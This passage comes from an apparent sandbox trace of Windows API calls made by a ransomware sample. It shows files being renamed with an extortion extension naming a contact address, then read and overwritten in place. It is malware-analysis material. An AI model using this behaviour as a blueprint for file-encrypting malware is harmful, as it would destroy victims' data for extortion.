Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-20.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\apppackageapplist.targetsize-20.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0270.699] Sleep (dwMilliseconds=0x1) [0272.860] SysReAllocStringLen (in: pbstr=0x313ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-96_altform-unplated_contrast-white.png", len=0x97 | out: pbstr=0x313ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-96_altform-unplated_contrast-white.png") returned 1 [0272.860] GetProcessHeap () returned 0x630000 [0272.860] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e30) returned 0x6fe3bb0 [0272.862] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-96_altform-unplated_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\getstartedapplist.targetsize-96_altform-unplated_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.863] Sleep (dwMilliseconds=0x1) [0274.704] SysReAllocStringLen (in: pbstr=0x313ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageSmallTile.scale-200_contrast-white.png", len=0xa0 | out: pbstr=0x313ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageSmallTile.scale-200_contrast-white.png") returned 1 [0274.704] GetProcessHeap () returned 0x630000 [0274.704] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c30) returned 0x6fe3bb0 [0274.704] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageSmallTile.scale-200_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\contrast-white\\apppackagesmalltile.scale-200_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.705] Sleep (dwMilliseconds=0x1) Thread: id = 80 os_tid = 0x12a0 [0067.703] Sleep (dwMilliseconds=0x1) [0067.825] Sleep (dwMilliseconds=0x1) [0067.936] Sleep (dwMilliseconds=0x1) [0068.041] Sleep (dwMilliseconds=0x1) [0068.149] Sleep (dwMilliseconds=0x1) [0068.280] Sleep (dwMilliseconds=0x1) [0068.395] Sleep (dwMilliseconds=0x1) [0068.496] Sleep (dwMilliseconds=0x1) [0068.541] Sleep (dwMilliseconds=0x1) [0068.702] Sleep (dwMilliseconds=0x1) [0068.743] Sleep (dwMilliseconds=0x1) [0068.796] Sleep (dwMilliseconds=0x1) [0068.838] Sleep (dwMilliseconds=0x1) [0068.888] Sleep (dwMilliseconds=0x1) [0068.930] Sleep (dwMilliseconds=0x1) [0068.980] Sleep (dwMilliseconds=0x1) [0069.043] Sleep (dwMilliseconds=0x1) [0069.109] Sleep (dwMilliseconds=0x1) [0069.154] Sleep (dwMilliseconds=0x1) [0069.202] Sleep (dwMilliseconds=0x1) [0069.245] Sleep (dwMilliseconds=0x1) [0069.297] Sleep (dwMilliseconds=0x1) [0069.373] Sleep (dwMilliseconds=0x1) [0069.439] Sleep (dwMilliseconds=0x1) [0069.479] Sleep (dwMilliseconds=0x1) [0069.527] Sleep (dwMilliseconds=0x1) [0069.691] Sleep (dwMilliseconds=0x1) [0069.917] Sleep (dwMilliseconds=0x1) [0070.148] Sleep (dwMilliseconds=0x1) [0070.261] Sleep (dwMilliseconds=0x1) [0070.384] Sleep (dwMilliseconds=0x1) [0070.532] Sleep (dwMilliseconds=0x1) [0070.871] Sleep (dwMilliseconds=0x1) [0071.567] Sleep (dwMilliseconds=0x1) [0071.944] Sleep (dwMilliseconds=0x1) [0072.428] Sleep (dwMilliseconds=0x1) [0072.608] Sleep (dwMilliseconds=0x1) [0072.798] Sleep (dwMilliseconds=0x1) [0072.908] Sleep (dwMilliseconds=0x1) [0073.097] Sleep (dwMilliseconds=0x1) [0073.291] Sleep (dwMilliseconds=0x1) [0073.697] Sleep (dwMilliseconds=0x1) [0073.931] Sleep (dwMilliseconds=0x1) [0074.047] Sleep (dwMilliseconds=0x1) [0074.177] Sleep (dwMilliseconds=0x1) [0074.385] Sleep (dwMilliseconds=0x1) [0074.667] Sleep (dwMilliseconds=0x1) [0074.775] Sleep (dwMilliseconds=0x1) [0074.845] Sleep (dwMilliseconds=0x1) [0074.905] Sleep (dwMilliseconds=0x1) [0075.000] Sleep (dwMilliseconds=0x1) [0075.061] Sleep (dwMilliseconds=0x1) [0075.105] Sleep (dwMilliseconds=0x1) [0075.158] Sleep (dwMilliseconds=0x1) [0075.215] Sleep (dwMilliseconds=0x1) [0075.264] Sleep (dwMilliseconds=0x1) [0075.304] Sleep (dwMilliseconds=0x1) [0075.362] Sleep (dwMilliseconds=0x1) [0075.427] Sleep (dwMilliseconds=0x1) [0075.514] Sleep (dwMilliseconds=0x1) [0075.567] Sleep (dwMilliseconds=0x1) [0075.612] Sleep (dwMilliseconds=0x1) [0075.698] Sleep (dwMilliseconds=0x1) [0075.744] Sleep (dwMilliseconds=0x1) [0075.792] Sleep (dwMilliseconds=0x1) [0075.831] Sleep (dwMilliseconds=0x1) [0076.049] Sleep (dwMilliseconds=0x1) [0076.058] Sleep (dwMilliseconds=0x1) [0076.087] Sleep (dwMilliseconds=0x1) [0076.103] Sleep (dwMilliseconds=0x1) [0076.190] Sleep (dwMilliseconds=0x1) [0076.387] Sleep (dwMilliseconds=0x1) [0076.534] Sleep (dwMilliseconds=0x1) [0076.674] Sleep (dwMilliseconds=0x1) [0076.707] Sleep (dwMilliseconds=0x1) [0076.779] Sleep (dwMilliseconds=0x1) [0076.799] Sleep (dwMilliseconds=0x1) [0076.848] Sleep (dwMilliseconds=0x1) [0076.873] Sleep (dwMilliseconds=0x1) [0076.919] Sleep (dwMilliseconds=0x1) [0076.987] Sleep (dwMilliseconds=0x1) [0077.063] Sleep (dwMilliseconds=0x1) [0077.149] Sleep (dwMilliseconds=0x1) [0077.219] Sleep (dwMilliseconds=0x1) [0077.291] Sleep (dwMilliseconds=0x1) [0077.358] Sleep (dwMilliseconds=0x1) [0077.414] Sleep (dwMilliseconds=0x1) [0077.518] Sleep (dwMilliseconds=0x1) [0077.600] Sleep (dwMilliseconds=0x1) [0077.647] Sleep (dwMilliseconds=0x1) [0077.691] Sleep (dwMilliseconds=0x1) [0077.734] Sleep (dwMilliseconds=0x1) [0077.784] Sleep (dwMilliseconds=0x1) [0077.831] Sleep (dwMilliseconds=0x1) [0077.859] Sleep (dwMilliseconds=0x1) [0077.910] Sleep (dwMilliseconds=0x1) [0077.961] Sleep (dwMilliseconds=0x1) [0077.979] Sleep (dwMilliseconds=0x1) [0077.996] Sleep (dwMilliseconds=0x1) [0078.089] Sleep (dwMilliseconds=0x1) [0078.114] Sleep (dwMilliseconds=0x1) [0078.137] Sleep (dwMilliseconds=0x1) [0078.190] Sleep (dwMilliseconds=0x1) [0078.226] Sleep (dwMilliseconds=0x1) [0078.235] Sleep (dwMilliseconds=0x1) [0078.256] Sleep (dwMilliseconds=0x1) [0078.269] Sleep (dwMilliseconds=0x1) [0078.289] Sleep (dwMilliseconds=0x1) [0078.311] Sleep (dwMilliseconds=0x1) [0078.363] Sleep (dwMilliseconds=0x1) [0078.376] Sleep (dwMilliseconds=0x1) [0078.516] Sleep (dwMilliseconds=0x1) [0078.533] Sleep (dwMilliseconds=0x1) [0078.562] Sleep (dwMilliseconds=0x1) [0078.612] Sleep (dwMilliseconds=0x1) [0078.625] Sleep (dwMilliseconds=0x1) [0078.647] Sleep (dwMilliseconds=0x1) [0078.658] Sleep (dwMilliseconds=0x1) [0078.677] Sleep (dwMilliseconds=0x1) [0078.709] Sleep (dwMilliseconds=0x1) [0078.720] Sleep (dwMilliseconds=0x1) [0078.739] Sleep (dwMilliseconds=0x1) [0078.753] Sleep (dwMilliseconds=0x1) [0078.771] Sleep (dwMilliseconds=0x1) [0078.785] Sleep (dwMilliseconds=0x1) [0078.839] Sleep (dwMilliseconds=0x1) [0078.885] Sleep (dwMilliseconds=0x1) [0078.896] Sleep (dwMilliseconds=0x1) [0078.926] Sleep (dwMilliseconds=0x1) [0078.947] Sleep (dwMilliseconds=0x1) [0078.956] Sleep (dwMilliseconds=0x1) [0078.979] Sleep (dwMilliseconds=0x1) [0079.002] Sleep (dwMilliseconds=0x1) [0079.032] Sleep (dwMilliseconds=0x1) [0079.048] Sleep (dwMilliseconds=0x1) [0079.081] Sleep (dwMilliseconds=0x1) [0079.097] Sleep (dwMilliseconds=0x1) [0079.117] Sleep (dwMilliseconds=0x1) [0079.128] Sleep (dwMilliseconds=0x1) [0079.160] Sleep (dwMilliseconds=0x1) [0079.223] Sleep (dwMilliseconds=0x1) [0079.251] Sleep (dwMilliseconds=0x1) [0079.269] Sleep (dwMilliseconds=0x1) [0079.287] Sleep (dwMilliseconds=0x1) [0079.300] Sleep (dwMilliseconds=0x1) [0079.316] Sleep (dwMilliseconds=0x1) [0079.329] Sleep (dwMilliseconds=0x1) [0079.349] Sleep (dwMilliseconds=0x1) [0079.361] Sleep (dwMilliseconds=0x1) [0079.389] Sleep (dwMilliseconds=0x1) [0079.418] Sleep (dwMilliseconds=0x1) [0079.422] Sleep (dwMilliseconds=0x1) [0079.449] Sleep (dwMilliseconds=0x1) [0079.514] Sleep (dwMilliseconds=0x1) [0079.544] Sleep (dwMilliseconds=0x1) [0079.604] Sleep (dwMilliseconds=0x1) [0079.610] Sleep (dwMilliseconds=0x1) [0079.630] Sleep (dwMilliseconds=0x1) [0079.641] Sleep (dwMilliseconds=0x1) [0079.662] Sleep (dwMilliseconds=0x1) [0079.675] Sleep (dwMilliseconds=0x1) [0079.690] Sleep (dwMilliseconds=0x1) [0079.737] Sleep (dwMilliseconds=0x1) [0079.802] Sleep (dwMilliseconds=0x1) [0079.814] Sleep (dwMilliseconds=0x1) [0079.832] Sleep (dwMilliseconds=0x1) [0079.889] Sleep (dwMilliseconds=0x1) [0079.917] Sleep (dwMilliseconds=0x1) [0079.931] Sleep (dwMilliseconds=0x1) [0079.940] Sleep (dwMilliseconds=0x1) [0079.984] Sleep (dwMilliseconds=0x1) [0080.050] Sleep (dwMilliseconds=0x1) [0080.068] Sleep (dwMilliseconds=0x1) [0080.086] Sleep (dwMilliseconds=0x1) [0080.098] Sleep (dwMilliseconds=0x1) [0080.138] Sleep (dwMilliseconds=0x1) [0080.158] Sleep (dwMilliseconds=0x1) [0080.175] Sleep (dwMilliseconds=0x1) [0080.236] Sleep (dwMilliseconds=0x1) [0080.262] Sleep (dwMilliseconds=0x1) [0080.287] Sleep (dwMilliseconds=0x1) [0080.299] Sleep (dwMilliseconds=0x1) [0080.321] Sleep (dwMilliseconds=0x1) [0080.340] Sleep (dwMilliseconds=0x1) [0080.363] Sleep (dwMilliseconds=0x1) [0080.380] Sleep (dwMilliseconds=0x1) [0080.394] Sleep (dwMilliseconds=0x1) [0080.408] Sleep (dwMilliseconds=0x1) [0080.428] Sleep (dwMilliseconds=0x1) [0080.439] Sleep (dwMilliseconds=0x1) [0080.505] Sleep (dwMilliseconds=0x1) [0080.524] Sleep (dwMilliseconds=0x1) [0080.542] Sleep (dwMilliseconds=0x1) [0080.551] Sleep (dwMilliseconds=0x1) [0080.565] Sleep (dwMilliseconds=0x1) [0080.585] Sleep (dwMilliseconds=0x1) [0080.603] Sleep (dwMilliseconds=0x1) [0080.617] Sleep (dwMilliseconds=0x1) [0080.658] Sleep (dwMilliseconds=0x1) [0080.675] Sleep (dwMilliseconds=0x1) [0080.701] Sleep (dwMilliseconds=0x1) [0080.725] Sleep (dwMilliseconds=0x1) [0080.763] Sleep (dwMilliseconds=0x1) [0080.790] Sleep (dwMilliseconds=0x1) [0080.802] Sleep (dwMilliseconds=0x1) [0080.822] Sleep (dwMilliseconds=0x1) [0080.834] Sleep (dwMilliseconds=0x1) [0080.849] Sleep (dwMilliseconds=0x1) [0080.886] Sleep (dwMilliseconds=0x1) [0080.896] Sleep (dwMilliseconds=0x1) [0080.914] Sleep (dwMilliseconds=0x1) [0080.926] Sleep (dwMilliseconds=0x1) [0080.938] Sleep (dwMilliseconds=0x1) [0080.961] Sleep (dwMilliseconds=0x1) [0080.974] Sleep (dwMilliseconds=0x1) [0080.993] Sleep (dwMilliseconds=0x1) [0081.000] Sleep (dwMilliseconds=0x1) [0081.030] Sleep (dwMilliseconds=0x1) [0081.051] Sleep (dwMilliseconds=0x1) [0081.284] Sleep (dwMilliseconds=0x1) [0081.434] Sleep (dwMilliseconds=0x1) [0081.524] Sleep (dwMilliseconds=0x1) [0081.539] Sleep (dwMilliseconds=0x1) [0081.562] Sleep (dwMilliseconds=0x1) [0081.582] Sleep (dwMilliseconds=0x1) [0081.599] Sleep (dwMilliseconds=0x1) [0081.613] Sleep (dwMilliseconds=0x1) [0081.628] Sleep (dwMilliseconds=0x1) [0081.665] Sleep (dwMilliseconds=0x1) [0081.682] Sleep (dwMilliseconds=0x1) [0081.692] Sleep (dwMilliseconds=0x1) [0081.709] Sleep (dwMilliseconds=0x1) [0081.758] Sleep (dwMilliseconds=0x1) [0081.775] Sleep (dwMilliseconds=0x1) [0081.790] Sleep (dwMilliseconds=0x1) [0081.832] Sleep (dwMilliseconds=0x1) [0081.849] Sleep (dwMilliseconds=0x1) [0081.885] Sleep (dwMilliseconds=0x1) [0081.893] Sleep (dwMilliseconds=0x1) [0081.910] Sleep (dwMilliseconds=0x1) [0081.927] Sleep (dwMilliseconds=0x1) [0081.942] Sleep (dwMilliseconds=0x1) [0081.967] Sleep (dwMilliseconds=0x1) [0081.987] Sleep (dwMilliseconds=0x1) [0082.003] Sleep (dwMilliseconds=0x1) [0082.036] Sleep (dwMilliseconds=0x1) [0082.050] Sleep (dwMilliseconds=0x1) [0082.068] Sleep (dwMilliseconds=0x1) [0082.112] Sleep (dwMilliseconds=0x1) [0082.133] Sleep (dwMilliseconds=0x1) [0082.151] Sleep (dwMilliseconds=0x1) [0082.158] Sleep (dwMilliseconds=0x1) [0082.194] Sleep (dwMilliseconds=0x1) [0082.215] Sleep (dwMilliseconds=0x1) [0082.232] Sleep (dwMilliseconds=0x1) [0082.259] Sleep (dwMilliseconds=0x1) [0082.276] Sleep (dwMilliseconds=0x1) [0082.295] Sleep (dwMilliseconds=0x1) [0082.309] Sleep (dwMilliseconds=0x1) [0082.371] Sleep (dwMilliseconds=0x1) [0082.418] Sleep (dwMilliseconds=0x1) [0082.541] Sleep (dwMilliseconds=0x1) [0082.587] Sleep (dwMilliseconds=0x1) [0082.637] Sleep (dwMilliseconds=0x1) [0082.683] Sleep (dwMilliseconds=0x1) [0082.729] Sleep (dwMilliseconds=0x1) [0082.776] Sleep (dwMilliseconds=0x1) [0082.822] Sleep (dwMilliseconds=0x1) [0082.870] Sleep (dwMilliseconds=0x1) [0082.916] Sleep (dwMilliseconds=0x1) [0082.968] Sleep (dwMilliseconds=0x1) [0083.016] Sleep (dwMilliseconds=0x1) [0083.055] Sleep (dwMilliseconds=0x1) [0083.104] Sleep (dwMilliseconds=0x1) [0083.150] Sleep (dwMilliseconds=0x1) [0083.201] Sleep (dwMilliseconds=0x1) [0083.242] Sleep (dwMilliseconds=0x1) [0083.293] Sleep (dwMilliseconds=0x1) [0083.337] Sleep (dwMilliseconds=0x1) [0083.385] Sleep (dwMilliseconds=0x1) [0083.436] Sleep (dwMilliseconds=0x1) [0083.703] Sleep (dwMilliseconds=0x1) [0083.751] Sleep (dwMilliseconds=0x1) [0083.802] Sleep (dwMilliseconds=0x1) [0083.913] Sleep (dwMilliseconds=0x1) [0084.013] Sleep (dwMilliseconds=0x1) [0084.093] Sleep (dwMilliseconds=0x1) [0084.202] Sleep (dwMilliseconds=0x1) [0084.343] Sleep (dwMilliseconds=0x1) [0084.738] Sleep (dwMilliseconds=0x1) [0084.811] Sleep (dwMilliseconds=0x1) [0084.877] Sleep (dwMilliseconds=0x1) [0084.960] Sleep (dwMilliseconds=0x1) [0085.046] Sleep (dwMilliseconds=0x1) [0085.125] Sleep (dwMilliseconds=0x1) [0085.177] Sleep (dwMilliseconds=0x1) [0085.346] Sleep (dwMilliseconds=0x1) [0085.390] Sleep (dwMilliseconds=0x1) [0085.736] Sleep (dwMilliseconds=0x1) [0085.831] Sleep (dwMilliseconds=0x1) [0085.963] Sleep (dwMilliseconds=0x1) [0086.083] Sleep (dwMilliseconds=0x1) [0086.186] Sleep (dwMilliseconds=0x1) [0086.237] Sleep (dwMilliseconds=0x1) [0086.293] Sleep (dwMilliseconds=0x1) [0086.352] Sleep (dwMilliseconds=0x1) [0086.587] Sleep (dwMilliseconds=0x1) [0086.898] Sleep (dwMilliseconds=0x1) [0087.023] SysReAllocStringLen (in: pbstr=0x60fff7c*=0x0, psz="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini", len=0x24 | out: pbstr=0x60fff7c*="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 1 [0087.023] GetProcessHeap () returned 0x630000 [0087.023] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e90d0, Size=0x18) returned 0x6b0418 [0087.023] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x620 [0087.036] CloseHandle (hObject=0x620) returned 1 [0087.036] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x60fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0087.036] MoveFileW (lpExistingFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini"), lpNewFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0087.040] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x60fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0087.040] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x60ffc6c | out: lpFindFileData=0x60ffc6c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x4000004, dwReserved1=0x0, cFileName="desktop.ini.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="DESKTO~1.FIR")) returned 0x6d5500 [0087.040] FindClose (in: hFindFile=0x6d5500 | out: hFindFile=0x6d5500) returned 1 [0087.040] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x620 [0087.041] GetProcessHeap () returned 0x630000 [0087.041] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa1) returned 0x650658 [0087.041] GetProcessHeap () returned 0x630000 [0087.041] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa1) returned 0x650028 [0087.041] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.041] ReadFile (in: hFile=0x620, lpBuffer=0x650658, nNumberOfBytesToRead=0x80, lpNumberOfBytesRead=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x650658*, lpNumberOfBytesRead=0x60fff0c*=0x80, lpOverlapped=0x0) returned 1 [0087.042] GetProcessHeap () returned 0x630000 [0087.042] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6e8a78 [0087.042] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.042] WriteFile (in: hFile=0x620, lpBuffer=0x650028*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x650028*, lpNumberOfBytesWritten=0x60fff0c*=0x80, lpOverlapped=0x0) returned 1 [0087.043] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.043] WriteFile (in: hFile=0x620, lpBuffer=0x6500a7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6500a7*, lpNumberOfBytesWritten=0x60fff0c*=0x20, lpOverlapped=0x0) returned 1 [0087.043] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.043] WriteFile (in: hFile=0x620, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x60fff0c*=0x4, lpOverlapped=0x0) returned 1 [0087.043] CloseHandle (hObject=0x620) returned 1 [0087.043] GetProcessHeap () returned 0x630000 [0087.043] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x650028 | out: hHeap=0x630000) returned 1 [0087.043] GetProcessHeap () returned 0x630000 [0087.043] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x650658 | out: hHeap=0x630000) returned 1 [0087.043] GetProcessHeap () returned 0x630000 [0087.043] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e8a78 | out: hHeap=0x630000) returned 1 [0087.085] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x60fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0087.086] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x60ffcc4 | out: lpFindFileData=0x60ffcc4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xf9d57d7b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0xa5, dwReserved0=0x60ffd20, dwReserved1=0x650658, cFileName="desktop.ini.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="DESKTO~1.FIR")) returned 0x6d4e40 [0087.086] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0087.086] Sleep (dwMilliseconds=0x1) [0087.091] Sleep (dwMilliseconds=0x1) [0087.108] Sleep (dwMilliseconds=0x1) [0087.472] Sleep (dwMilliseconds=0x1) [0088.037] SysReAllocStringLen (in: pbstr=0x60fff7c*=0x0, psz="C:\\588bce7c90097ed212\\1035\\eula.rtf", len=0x23 | out: pbstr=0x60fff7c*="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 1 [0088.037] GetProcessHeap () returned 0x630000 [0088.037] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e9288, Size=0x1c) returned 0x6e92d8 [0088.037] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6b4 [0089.807] CloseHandle (hObject=0x6b4) returned 1 [0089.807] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x60fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0089.807] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0089.808] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x60fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0089.808] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x60ffc6c | out: lpFindFileData=0x60ffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe76, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="EULART~1.FIR")) returned 0x6d51c0 [0089.808] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0089.808] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6b4 [0089.808] GetProcessHeap () returned 0x630000 [0089.808] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe81) returned 0x6ff1da8 [0089.808] GetProcessHeap () returned 0x630000 [0089.808] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe81) returned 0x6ff2c38 [0089.809] SetFilePointerEx (in: hFile=0x6b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.809] ReadFile (in: hFile=0x6b4, lpBuffer=0x6ff1da8, nNumberOfBytesToRead=0xe60, lpNumberOfBytesRead=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ff1da8*, lpNumberOfBytesRead=0x60fff0c*=0xe60, lpOverlapped=0x0) returned 1 [0089.823] GetProcessHeap () returned 0x630000 [0089.823] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6e8ca8 [0089.823] SetFilePointerEx (in: hFile=0x6b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.824] WriteFile (in: hFile=0x6b4, lpBuffer=0x6ff2c38*, nNumberOfBytesToWrite=0xe60, lpNumberOfBytesWritten=0x60fff0c, lpOverlapped=0x0 | out: 